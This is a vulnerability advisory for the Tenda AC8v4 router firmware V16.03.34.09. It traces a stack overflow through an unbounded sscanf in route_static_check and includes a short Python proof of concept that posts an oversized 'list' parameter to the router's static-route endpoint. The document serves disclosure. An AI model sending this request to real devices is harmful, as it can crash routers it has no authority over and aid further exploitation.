Overview

Affected version

AC8v4 V16.03.34.09

Vulnerability details

In the Tenda AC8v4 V16.03.34.09 has a stack overflow vulnerability located in the fromSetRouteStatic function. This function accepts the listparameter from a POST request by variable iVar1.

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However, since the user has control over the input of auStack_414, it is copied using memcpy into auStack_210. The function route_static_check is then called with auStack_210 as an argument.

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Inside the route_static_check function, local_58 = param1. The statement sscanf(local_58, "%[^,],%[^,],%[^,],%s", &local_4c, &local_3c, &local_2c, local_1c); leads to a buffer overflow. The user-supplied param1 can exceed the capacity of the local_4c array, thereby triggering this security vulnerability.

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PoC

import requests
import urllib.parse

url = "<http://192.168.1.100:80/goform/SetStaticRouteCfg>"
data = {'list': 'a'*500}

encoded_params = []
for k, v in data.items():
    k_encoded = urllib.parse.quote(k)
    v_encoded = urllib.parse.quote(v)
    encoded_params.append(f"{k_encoded}={v_encoded}")

post_data = "&".join(encoded_params)

response = requests.post(
    url,
    data=post_data,
    timeout=3
)

print("Status Code:", response.status_code)
print("Response Text:", response.text)

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Discoverer

The vulnerability was discovered by Professor Wei Zhou's team (IoTS&P Lab) from the School of Cyber Science and Engineering at Huazhong University of Science and Technology.